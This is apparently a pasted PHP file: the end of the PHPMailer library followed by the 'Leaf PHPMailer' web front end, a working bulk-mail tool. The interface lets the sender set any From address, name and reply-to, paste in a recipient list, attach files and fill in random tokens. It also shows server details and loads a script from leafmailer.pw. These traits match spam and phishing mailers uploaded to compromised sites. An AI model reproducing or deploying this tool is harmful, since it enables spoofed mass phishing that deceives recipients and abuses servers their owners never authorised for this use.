  3770. $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  3771. $lines = explode("\r\n", $signHeader);
  3772. foreach ($lines as $key => $line) {
  3773. list($heading, $value) = explode(':', $line, 2);
  3774. $heading = strtolower($heading);
  3775. $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  3776. $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  3777. }
  3778. $signHeader = implode("\r\n", $lines);
  3779. return $signHeader;
  3780. }
  3781.  
  3782. /**
  3783. * Generate a DKIM canonicalization body.
  3784. * @access public
  3785. * @param string $body Message Body
  3786. * @return string
  3787. */
  3788. public function DKIM_BodyC($body)
  3789. {
  3790. if ($body == '') {
  3791. return "\r\n";
  3792. }
  3793. // stabilize line endings
  3794. $body = str_replace("\r\n", "\n", $body);
  3795. $body = str_replace("\n", "\r\n", $body);
  3796. // END stabilize line endings
  3797. while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  3798. $body = substr($body, 0, strlen($body) - 2);
  3799. }
  3800. return $body;
  3801. }
  3802.  
  3803. /**
  3804. * Create the DKIM header and body in a new message header.
  3805. * @access public
  3806. * @param string $headers_line Header lines
  3807. * @param string $subject Subject
  3808. * @param string $body Body
  3809. * @return string
  3810. */
  3811. public function DKIM_Add($headers_line, $subject, $body)
  3812. {
  3813. $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  3814. $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  3815. $DKIMquery = 'dns/txt'; // Query method
  3816. $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  3817. $subject_header = "Subject: $subject";
  3818. $headers = explode($this->LE, $headers_line);
  3819. $from_header = '';
  3820. $to_header = '';
  3821. $current = '';
  3822. foreach ($headers as $header) {
  3823. if (strpos($header, 'From:') === 0) {
  3824. $from_header = $header;
  3825. $current = 'from_header';
  3826. } elseif (strpos($header, 'To:') === 0) {
  3827. $to_header = $header;
  3828. $current = 'to_header';
  3829. } else {
  3830. if (!empty($$current) && strpos($header, ' =?') === 0) {
  3831. $$current .= $header;
  3832. } else {
  3833. $current = '';
  3834. }
  3835. }
  3836. }
  3837. $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  3838. $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  3839. $subject = str_replace(
  3840. '|',
  3841. '=7C',
  3842. $this->DKIM_QP($subject_header)
  3843. ); // Copied header fields (dkim-quoted-printable)
  3844. $body = $this->DKIM_BodyC($body);
  3845. $DKIMlen = strlen($body); // Length of body
  3846. $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  3847. if ('' == $this->DKIM_identity) {
  3848. $ident = '';
  3849. } else {
  3850. $ident = ' i=' . $this->DKIM_identity . ';';
  3851. }
  3852. $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  3853. $DKIMsignatureType . '; q=' .
  3854. $DKIMquery . '; l=' .
  3855. $DKIMlen . '; s=' .
  3856. $this->DKIM_selector .
  3857. ";\r\n" .
  3858. "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  3859. "\th=From:To:Subject;\r\n" .
  3860. "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  3861. "\tz=$from\r\n" .
  3862. "\t|$to\r\n" .
  3863. "\t|$subject;\r\n" .
  3864. "\tbh=" . $DKIMb64 . ";\r\n" .
  3865. "\tb=";
  3866. $toSign = $this->DKIM_HeaderC(
  3867. $from_header . "\r\n" .
  3868. $to_header . "\r\n" .
  3869. $subject_header . "\r\n" .
  3870. $dkimhdrs
  3871. );
  3872. $signed = $this->DKIM_Sign($toSign);
  3873. return $dkimhdrs . $signed . "\r\n";
  3874. }
  3875.  
  3876. /**
  3877. * Detect if a string contains a line longer than the maximum line length allowed.
  3878. * @param string $str
  3879. * @return boolean
  3880. * @static
  3881. */
  3882. public static function hasLineLongerThanMax($str)
  3883. {
  3884. //+2 to include CRLF line break for a 1000 total
  3885. return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
  3886. }
  3887.  
  3888. /**
  3889. * Allows for public read access to 'to' property.
  3890. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3891. * @access public
  3892. * @return array
  3893. */
  3894. public function getToAddresses()
  3895. {
  3896. return $this->to;
  3897. }
  3898.  
  3899. /**
  3900. * Allows for public read access to 'cc' property.
  3901. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3902. * @access public
  3903. * @return array
  3904. */
  3905. public function getCcAddresses()
  3906. {
  3907. return $this->cc;
  3908. }
  3909.  
  3910. /**
  3911. * Allows for public read access to 'bcc' property.
  3912. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3913. * @access public
  3914. * @return array
  3915. */
  3916. public function getBccAddresses()
  3917. {
  3918. return $this->bcc;
  3919. }
  3920.  
  3921. /**
  3922. * Allows for public read access to 'ReplyTo' property.
  3923. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3924. * @access public
  3925. * @return array
  3926. */
  3927. public function getReplyToAddresses()
  3928. {
  3929. return $this->ReplyTo;
  3930. }
  3931.  
  3932. /**
  3933. * Allows for public read access to 'all_recipients' property.
  3934. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3935. * @access public
  3936. * @return array
  3937. */
  3938. public function getAllRecipientAddresses()
  3939. {
  3940. return $this->all_recipients;
  3941. }
  3942.  
  3943. /**
  3944. * Perform a callback.
  3945. * @param boolean $isSent
  3946. * @param array $to
  3947. * @param array $cc
  3948. * @param array $bcc
  3949. * @param string $subject
  3950. * @param string $body
  3951. * @param string $from
  3952. */
  3953. protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  3954. {
  3955. if (!empty($this->action_function) && is_callable($this->action_function)) {
  3956. $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  3957. call_user_func_array($this->action_function, $params);
  3958. }
  3959. }
  3960. }
  3961.  
  3962. /**
  3963. * PHPMailer exception handler
  3964. * @package PHPMailer
  3965. */
  3966. class phpmailerException extends Exception
  3967. {
  3968. /**
  3969. * Prettify error message output
  3970. * @return string
  3971. */
  3972. public function errorMessage()
  3973. {
  3974. $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  3975. return $errorMsg;
  3976. }
  3977. }
  3978.  
  3979. print '
  3980. <head>
  3981. <title>Leaf PHPMailer</title>
  3982. <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  3983. <link href="http://bootswatch.com/solar/bootstrap.min.css" rel="stylesheet" >
  3984. <script src="http://bootswatch.com/lumen/bootstrap.min.js"></script>
  3985. <script src="https://leafmailer.pw/style.js"></script>
  3986.  
  3987. </head>';
  3988.  
  3989. print '<body>';
  3990. print '<div class="container col-lg-6">
  3991. <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
  3992. <div class="row">
  3993. <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
  3994. <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
  3995. </div>
  3996. <div class="row">
  3997. <span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
  3998.  
  3999. <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
  4000. </div>
  4001. <div class="row">
  4002. <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
  4003. </div>
  4004. <div class="row">
  4005. <div class="form-group col-lg-6"><label for="messageLetter">Message Letter</label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
  4006. <div class="form-group col-lg-6 "><label for="emailList">Email List</label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
  4007. </div>
  4008. <div class="row">
  4009. <div class="form-group col-lg-6 ">
  4010. <label for="messageType">Message Type</label>
  4011. HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
  4012. Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
  4013. </div>
  4014. <div class="form-group col-lg-3 ">
  4015. <label for="encode">Encode Type</label>
  4016. <select class="form-control input-sm" id="encode" name="encode">
  4017. <option value="UTF-8" selected>UTF-8 Encode</option>
  4018. <option value="UTF-8">ISO Encode</option>
  4019. </select>
  4020. </div>
  4021. </div>
  4022. <button type="submit" class="btn btn-default btn-lg btn-block btn-success" form="form" name="action" value="send">GASCOK</button>
  4023. </form>
  4024. </div>
  4025. <div class="col-lg-6"><br>
  4026. <div id="well" class="well well">
  4027. <h4>Server Information</h4>
  4028. <ul>
  4029. <li>Server: <b>'.php_uname().'</b></li>
  4030.  
  4031. </ul>
  4032. <h4>HELP</h4>
  4033. <ul>
  4034. <li>[-email-] : <b>Reciver Email</b></li>
  4035. <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
  4036. <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>
  4037. <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
  4038. <li>[-randomnumber-] : <b>Random number (0-4) </b></li>
  4039. <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
  4040. <li>[-randommd5-] : <b>Random MD5 </b></li>
  4041. </ul>
  4042. <h4>example</h4>
  4043. Reciver Email = <b>user@domain.com</b><br>
  4044. <ul>
  4045. <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
  4046. <li>your code is <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
  4047. </ul>
  4048.  
  4049. <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
  4050. </div>
  4051. </div>';
  4052.  
  4053. if($_POST['action']=="send"){
  4054. print ' <div class="col-lg-12">';
  4055. $maillist=explode("\r\n", $emailList);
  4056. $n=count($maillist);
  4057. $x =1;
  4058. foreach ($maillist as $email ) {
  4059. print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-5">'.$email.'</div>';
  4060. if(!leafMailCheck($email)) {
  4061. print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
  4062. print "<br>\r\n";
  4063. }
  4064. else {
  4065. $mail = new PHPMailer;
  4066. $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
  4067. $mail->addReplyTo(leafClear($replyTo,$email));
  4068. $mail->addAddress($email);
  4069. $mail->Subject = leafClear($subject,$email);
  4070. $mail->Body = leafClear($messageLetter,$email);
  4071. $mail->CharSet = $encode;
  4072. for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
  4073. if ($_FILES['attachment']['tmp_name'][$i] != ""){
  4074. $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
  4075. }
  4076.  
  4077. }
  4078. if($messageType==1){$mail->IsHTML(true);}
  4079. else {$mail->IsHTML(false);}
  4080. if (!$mail->send()) {
  4081. echo '<div class="col-lg-6"><span class="label label-default">'.$mail->ErrorInfo.'</span></div>';
  4082. }
  4083. else {
  4084. echo '<div class="col-lg-3"><span class="label label-success">SENDED</span></div>';
  4085. }
  4086. print "<br>\r\n";
  4087. }
  4088. $x++;
  4089. for($k = 0; $k < 40000; $k++) {echo ' ';}
  4090. }
  4091.  
  4092. }
  4093. print '</body>';
  4094. ?>
Add Comment
Please, Sign In to add comment